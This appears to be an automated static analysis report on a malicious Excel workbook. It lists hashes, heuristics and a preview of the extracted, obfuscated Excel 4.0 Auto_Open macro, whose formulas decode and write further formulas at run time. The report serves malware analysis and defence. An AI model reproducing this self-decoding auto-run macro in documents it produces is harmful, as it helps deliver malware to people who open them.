Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c73916b970d2d1e5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:37 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: e6fc7800b8c25820d921046a143f7494 SHA-1: 3f8fe6db1fda2b4f322061af8bedcc1564ca834a SHA-256: c73916b970d2d1e50f3c968b7966f2092a7fa9962758c8604431310cbc5cb335
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6572 bytes
SHA-256: cf6aaf7a9e966be620fe2f586747acf67b5bc3c8fbcea7cfc3928a1db1815cb2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FpgHsotTN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C163 
' 0018     25 LABEL : Cell Value, String Constant - AwCgrqTbEF len=0 
' 0018     26 LABEL : Cell Value, String Constant - dzFHIdyIUrK len=0 
' 0018     24 LABEL : Cell Value, String Constant - ELcqoSSca len=0 
' 0018     26 LABEL : Cell Value, String Constant - FDdzmlaxHzv len=0 
' 0018     24 LABEL : Cell Value, String Constant - fWNzugyqP len=0 
' 0018     21 LABEL : Cell Value, String Constant - KBNbzq len=0 
' 0018     22 LABEL : Cell Value, String Constant - KGaFHQe len=0 
' 0018     21 LABEL : Cell Value, String Constant - lAEMlQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - MambkrQz len=0 
' 0018     24 LABEL : Cell Value, String Constant - NCzPgBfkA len=0 
' 0018     20 LABEL : Cell Value, String Constant - nrmdv len=0 
' 0018     26 LABEL : Cell Value, String Constant - oaZDXDBZcrr len=0 
' 0018     27 LABEL : Cell Value, String Constant - OjunkFecGacP len=0 
' 0018     23 LABEL : Cell Value, String Constant - qNXUJYmX len=0 
' 0018     20 LABEL : Cell Value, String Constant - raVeJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - TnXtOh len=0 
' 0018     24 LABEL : Cell Value, String Constant - wTHnRSAzW len=0 
' 0018     26 LABEL : Cell Value, String Constant - yoSfQlicsAG len=0 
' 0018     20 LABEL : Cell Value, String Constant - zHBJd len=0 
' 0018     27 LABEL : Cell Value, String Constant - zXZWJCzEyTdR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FpgHsotTN,C71,"SET.NAME("yoSfQlicsAG",VALUE("0"))",""
'  FpgHsotTN,C76,"SET.NAME("OjunkFecGacP",yoSfQlicsAG)",""
'  FpgHsotTN,C80,"SET.NAME("fWNzugyqP",yoSfQlicsAG)",""
'  FpgHsotTN,C82,"SET.NAME("qNXUJYmX",COUNTA(wTHnRSAzW))",""
'  FpgHsotTN,C85,"SET.NAME("nrmdv",COUNTA(lAEMlQ))",""
'  FpgHsotTN,C88,[],""
'  FpgHsotTN,C90,"SET.NAME("KBNbzq","")",""
'  FpgHsotTN,C94,"OjunkFecGacP",""
'  FpgHsotTN,C97,"SET.NAME("zXZWJCzEyTdR",HLOOKUP("*",wTHnRSAzW,OjunkFecGacP,FALSE))",""
'  FpgHsotTN,C102,"MambkrQz",""
'  FpgHsotTN,C105,"SET.NAME("KGaFHQe",yoSfQlicsAG)",""
'  FpgHsotTN,C110,[],""
'  FpgHsotTN,C113,"KGaFHQe",""
'  FpgHsotTN,C117,"dzFHIdyIUrK",""
'  FpgHsotTN,C122,"AwCgrqTbEF",""
'  FpgHsotTN,C127,"raVeJ",""
'  FpgHsotTN,C132,"SET.NAME("oaZDXDBZcrr",VALUE(HLOOKUP("*",lAEMlQ,raVeJ,FALSE)))",""
'  FpgHsotTN,C136,"FDdzmlaxHzv",""
'  FpgHsotTN,C138,"KBNbzq",""
'  FpgHsotTN,C141,"fWNzugyqP",""
'  FpgHsotTN,C143,NEXT(),""
'  FpgHsotTN,C148,"TnXtOh",""
'  FpgHsotTN,C153,"SET.NAME("f",INT(T(FORMULA(T(KBNbzq)&"",""&T(TnXtOh)))))",""
'  FpgHsotTN,C156,"zHBJd",""
'  FpgHsotTN,C158,NEXT(),""
'  FpgHsotTN,C160,RETURN(),""
'  FpgHsotTN,C188,"SET.NAME("ELcqoSSca",C71)",""
'  FpgHsotTN,C190,"wTHnRSAzW",""
'  FpgHsotTN,C193,"SET.NAME("lAEMlQ",R72C15)",""
'  FpgHsotTN,C198,"SET.NAME("zHBJd",205)",""
'  FpgHsotTN,C201,"SET.NAME("NCzPgBfkA",3)",""
'  FpgHsotTN,C204,ELcqoSSca(),""
'  FpgHsotTN,C205,HALT(),""

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